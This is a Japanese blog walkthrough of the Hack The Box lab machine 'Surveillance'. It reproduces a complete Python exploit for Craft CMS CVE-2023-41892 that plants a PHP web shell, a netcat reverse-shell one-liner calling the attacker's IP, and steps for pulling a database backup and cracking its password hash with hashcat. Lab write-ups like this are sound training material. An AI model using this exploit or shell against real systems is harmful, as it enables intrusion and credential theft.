はじめに
こんにちは、Gaijineer「Gaijin + enjineer」のハサンです。本記事を書いているときに、日本語で探しても Hack The Box の Surveillanceボックスの Walkthrough がなかったので、今回は HackTheBox の Mediumマシンである「Surveillance」のWriteUpを載せます。
この記事の主要な目的は、ITエンジニアのセキュリティ系知識を増やすことです。
さて、Surveillanceという名前から何かを監視するような気がしますが、どのようなマシンなのでしょうか。
1. Nmap scan
それではVPN接続して、マシン稼働させてIPが表示されたらenumerationを始めていきます。まずはnmapから実行していきましょう。
sudo nmap -sC -sV 10.10.11.245
SSHとHTTPが開いていますね。
ただし、ブラウザでIPアドレスにアクセスしても、ウェブサイトが表示されません。
下記のように/etc/hostsにIPアドレスを追加する必要があります。
echo "10.10.11.245 Surveillance.htb" | sudo tee -a /etc/hosts
2.列挙(Enumeration) phase
ブラウザでhttp://surveillance.htbにアクセスしてみます。
さて、ここからgrinding ですが、色々見ていきましょう。
・デイレクトリBrute Forcing:
Webなので、先にDirectory Brute forcing しておきます。Directory Brute forcingしている内に、他のenumeration(列挙)を実施すると時間の有効活用に繋がります。
GoBuster、DirBusterなどツールは、個人の好きなものを使ってください。
・ソースコードの確認:
ソースコードを見てみます。
そこに役に立つ情報があるかどうかをチェックしてみましょう。
これだけを見るとcraftcmsというcmsが動いてそうです。versionは、4.4.14ですね。
craftcmsの名前は初めて見たので、少しgoogle先生の力を借りて、Githubなどで調べてみます。
・Github
PHPで書かれてるCMSアプリケーションらしいです。データベースとしてMySQLとPostgreSQLを使っていますね。これぐらいの時間でGoBusterなども完了してそうなので、確認するとアウトプットは下記のようになりました。
ここでもう一度ブラウザを確認します。
下記のURLでadminのLoginページが見つかりました。ここからでもcraftcmsであることが確認できますね。
http://surveillance.htb/admin/login
3. エクスプロイト(Exploit) and Foothold
さて、先ほど見つけたcraftcmsのexploitを調べました。 exploitを使わなくても完全に手動でRCE(Remote Code Execution)を実行できますが、記事が長くなるのと、Exploitを読む、もしくは書くことによって Python の scripting skills が上がるので、ここでは exploit を使用します。 色々調べて、下記の Python のコードを Exploitコードとして使用したいと思います。 import requests
import re
import sys
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.88 Safari/537.36"
}
def writePayloadToTempFile(documentRoot):
data = {
"action": "conditions/render",
"configObject[class]": "craft\elements\conditions\ElementCondition",
"config": '{"name":"configObject","as ":{"class":"Imagick", "__construct()":{"files":"msl:/etc/passwd"}}}'
}
files = {
"image1": ("pwn1.msl", """<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="caption:<?php @system(@$_REQUEST['cmd']); ?>"/>
<write filename="info:DOCUMENTROOT/cpresources/shell.php" />
</image>""".replace("DOCUMENTROOT", documentRoot), "text/plain")
}
response = requests.post(url, headers=headers, data=data, files=files)
def getTmpUploadDirAndDocumentRoot():
data = {
"action": "conditions/render",
"configObject[class]": "craft\elements\conditions\ElementCondition",
"config": r'{"name":"configObject","as ":{"class":"\\GuzzleHttp\\Psr7\\FnStream", "__construct()":{"methods":{"close":"phpinfo"}}}}'
}
response = requests.post(url, headers=headers, data=data)
pattern1 = r'<tr><td class="e">upload_tmp_dir<\/td><td class="v">(.*?)<\/td><td class="v">(.*?)<\/td><\/tr>'
pattern2 = r'<tr><td class="e">\$_SERVER\[\'DOCUMENT_ROOT\'\]<\/td><td class="v">([^<]+)<\/td><\/tr>'
match1 = re.search(pattern1, response.text, re.DOTALL)
match2 = re.search(pattern2, response.text, re.DOTALL)
return match1.group(1), match2.group(1)
def trigerImagick(tmpDir):
data = {
"action": "conditions/render",
"configObject[class]": "craft\elements\conditions\ElementCondition",
"config": '{"name":"configObject","as ":{"class":"Imagick", "__construct()":{"files":"vid:msl:' + tmpDir + r'/php*"}}}'
}
response = requests.post(url, headers=headers, data=data)
def shell(cmd):
response = requests.get(url + "/cpresources/shell.php", params={"cmd": cmd})
match = re.search(r'caption:(.*?)CAPTION', response.text, re.DOTALL)
if match:
extracted_text = match.group(1).strip()
print(extracted_text)
else:
return None
return extracted_text
if __name__ == "__main__":
if(len(sys.argv) != 2):
print("Usage: python CVE-2023-41892.py <url>")
exit()
else:
url = sys.argv[1]
print("[-] Get temporary folder and document root ...")
upload_tmp_dir, documentRoot = getTmpUploadDirAndDocumentRoot()
tmpDir = "/tmp" if "no value" in upload_tmp_dir else upload_tmp_dir
print("[-] Write payload to temporary file ...")
try:
writePayloadToTempFile(documentRoot)
except requests.exceptions.ConnectionError as e:
print("[-] Crash the php process and write temp file successfully")
print("[-] Trigger imagick to write shell ...")
try:
trigerImagick(tmpDir)
except:
pass
print("[-] Done, enjoy the shell")
while True:
cmd = input("$ ")
shell(cmd)
上記のPythonコードをpoc.pyとして保存してpython3で実行します。
python3 poc.py http://surveillance.htb/
実行すると下記のようなshellがもらえます。
PoC(Proof of Concept)を使って最初のfootholdを得た後は、bashコマンド用の適切なシェルを取得することが次のステップですね。
そのために下記の one liner を使います。IPは自分のlinux環境のtun0のIPとport番号(4444)を使っています。下記のone linerについて詳しく知りたい方はChatgptに質問すれば教えてくれます。
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc 10.10.x.x 4444 >/tmp/f
下記のようになります。一つのターミナルにone linerを実行します。もう一つのターミナルにnetcat でport 4444 でlistenします。
4. user.txtフラグの取得
現在、(www-data)service userには権限がないため、フラグを提出するための user.txt ファイルが見つかりませんね。フラグは別のユーザーに存在するため、そのユーザーをリストアップしてみることにします。 そして、少し環境内を移動してみると、/homeデイレクトリ内にmatthewとzoneminderを見つけました。 おそらく、matthewユーザーの権限に昇格すればuser.txtのフラグが取得できると思います。 あとで権限昇格(Privilege Escalation)で必要になりますのでzoneminderについても詳細に調べておきます。現在のユーザーを列挙する際に、重要なものとしてバックアップディレクトリが見つかりました。そのディレクトリには、SQLのバックアップファイルが含まれていました。このファイルには、おそらく秘密情報が含まれていると思います。
そして、上記の[surveillance--2023-10-17-202801--v4.4.414.sql.zip]ファイルを自分のローカル環境(kali linux)にダウンロードして保存します。ダウンロードするやり方はいっぱいありますが今回は、ストレージフォルダからウェブサーバにホストされているサーバーに上記の.sql.zipファイルをコピーしました。
その後、wgetコマンドを使用して.sql.zipファイルをローカル環境内にダウンロードしました。そして、ダウンロードしたファイル解凍すると、その中には、Matthewというユーザー名とハッシュ化されたパスワードが含まれていました。.zipファイル名が長かったので、unzip するとき、surveillance.sqlに名前を変更しました。
cat surveillance.sql | grep users -b5 -a5
その後、ハッシュ値をコピーします。Matthewのパスワードで使用されているハッシュがどんなハッシュであるかを確認するためにHash-Identifierというツールを使用しました。おそらくSHA-256で作成されたものですね。
ハッシングアルゴリズム(Hashing Algorithm)は、SHA-256の可能性が高いようなので、hashcat で運を試してみました。
hashcat -m 1400 matthew_hash /usr/share/wordlists/rockyou.txt
matthewのパスワードがゲット出来たので、これでsshを使ってsurveillance.htbにログインして、user.txtを取得します。
ssh matthew@surveillance.htb